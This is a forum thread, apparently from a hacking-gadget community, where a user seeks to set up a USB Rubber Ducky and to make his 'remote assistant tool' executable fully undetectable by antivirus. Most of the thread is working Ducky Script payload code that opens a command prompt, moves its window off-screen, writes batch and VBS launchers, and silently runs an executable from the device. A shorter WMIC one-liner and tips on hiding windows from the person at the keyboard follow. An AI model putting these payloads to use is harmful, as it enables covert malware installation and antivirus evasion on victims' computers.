need Rubber Ducky config

[Net_Spy]

Greetings ,

I would like to setup rubber ducky usb , I would appriciate if your assistance and I would like FUD my remote assitant tool exe as well any idea how to get this using veil or any other good method to FUD it with 0 detection.

Thanks

Regards

[Rkiver]

In fairness you'd be more likely to find an answer at https://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/

[Net_Spy]

well I've generate following payload with the help of gui encoder.

REM Author: overwraith
REM Name: RunEXE_V3.txt
REM Purpose: Run an executable file off of the SD card after it mounts. Uses a slightly different verison of the drive finder code.
REM Encoder V2.4+
REM Using the run command for a broader OS base.
DEFAULT_DELAY 75
DELAY 3000
GUI R
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER

REM Change directories because System32 appears to be protected.
STRING CD %TEMP%
ENTER

REM Make batch file that waits for SD card to mount.
REM Delete batch file if already exists
STRING erase /Q DuckyWait.bat
ENTER
STRING copy con DuckyWait.bat
ENTER
REM DuckyWait.bat
STRING :while1
ENTER
STRING for %%d in (A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z) do (
ENTER
STRING for /f "tokens=6 delims= " %%i in ('Vol %%d:') do (
ENTER
STRING if "%%i" EQU "DUCKY" ( set "DuckyDrive=%%d:" )
ENTER
STRING )
ENTER
STRING )
ENTER
STRING if Exist %DuckyDrive% (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 30
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
REM Continue script.
STRING START %DuckyDrive%\form1.exe
ENTER
CONTROL z
ENTER

REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

REM RUN THE BATCH FILE
STRING wscript.exe invis.vbs DuckyWait.bat
ENTER
STRING EXIT
ENTER

I copied exe into sdcar root path and inject.bin as well then pluged into windows XP it shows all command on cmd screen but exe does not execute .

Regards

Net_Spy

[Net_Spy]

Furhter more Ive did little firmware update before above , firmware duck_v2.1.hex

Steps followed from here using Ubunber.

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#Flashing_the_Firmware

Number written on chip

32uc3b1256

Regards

Net_Spy

[Net_Spy]

It does not work , Ive install twin composit firmware its worked. One more thing I would like to know is there any way that payload runs with out any popup windows. Looking forward for your kind respond.

Regards

Net_Spy

[Sildaekar]

It does not work , Ive install twin composit firmware its worked. One more thing I would like to know is there any way that payload runs with out any popup windows. Looking forward for your kind respond.

Regards

Net_Spy

Sadly there isn't. The ducky is just a USB HID, so it is limited to only what a USB keyboard can do.

[Net_Spy]

Thanks , but I just wanted to hide those windows which opened via above mentioned script . like opening run prompt and typing command then opening cmd minimizing it etc. I only want to know is there a way to do these all silently .

Regards

Net_Spy

[Sildaekar]

You could just move the window out of view by doing the following:

ALT+SPACE
M
DOWN
DOWN
DOWN
ENTER

Just keep in mind the above is more or less pseudocode....all this is doing is bringing up a menu, choosing "Move" and then keep hitting the down key until it's off the screen then hitting "Enter" to bring it back into focus. This was it's off the screen so no one can see it but you can still keep typing and running commands.

[Net_Spy]

Thanks @Slidaekar.

[sn0wfa11]

See my recent post:

https://forums.hak5.org/index.php?/topic/35992-meterpreter-reverse-tcp-ducky-injection-using-powershell-and-veil/

[Net_Spy]

Greetings ,

I've come across to a script that claim to be faster then script written by

overwraith

REM Author: overwraith
REM Name: RunEXE_V3.txt
REM Purpose: Run an executable file off of the SD card after it mounts. Uses a slightly different verison of the drive finder code. 
REM Encoder V2.4+
REM Using the run command for a broader OS base. 
DEFAULT_DELAY 75
DELAY 3000
GUI R
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER

REM Change directories because System32 appears to be protected. 
STRING CD %TEMP%
ENTER

REM Make batch file that waits for SD card to mount. 
REM Delete batch file if already exists
STRING erase /Q DuckyWait.bat
ENTER
STRING copy con DuckyWait.bat
ENTER
REM DuckyWait.bat
STRING :while1
ENTER
STRING for %%d in (A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z) do ( 
ENTER
STRING for /f "tokens=6 delims= " %%i in ('Vol %%d:') do (
ENTER
STRING if "%%i" EQU "DUCKY" ( set "DuckyDrive=%%d:" )
ENTER
STRING )
ENTER
STRING )
ENTER
STRING if Exist %DuckyDrive% (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 30
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
REM Continue script.
STRING START %DuckyDrive%\HelloWorld.exe
ENTER
CONTROL z
ENTER

REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

REM RUN THE BATCH FILE
STRING wscript.exe invis.vbs DuckyWait.bat
ENTER
STRING EXIT
ENTER

overwraith script working greate only taking few seconds and lots of commands .

Following is the shorten scrip

DELAY 3000
GUI r
DELAY 100

cmd /c for /f %a in ('wmic volume get DriveLetter^, Label ^| find "DY"') do start %a\t.exe

DELAY 10
ENTER

I've tried it but fialed to execute it , It gives error windows can not find 'c' .Make you typed the named correctly , and then try again.

Is there any way to make that above short script to run an exe from sd .

Regards

Net_Spy

[this-is-me]

Are you sure you have the ducky's drive label called DY, and a file named t.exe on the root of the SD card?

The last code works fine for me.

[Net_Spy]

I've renamed my drive to same and file to t.exe . Im trying it on windows 7 .

Regards

Net_Spy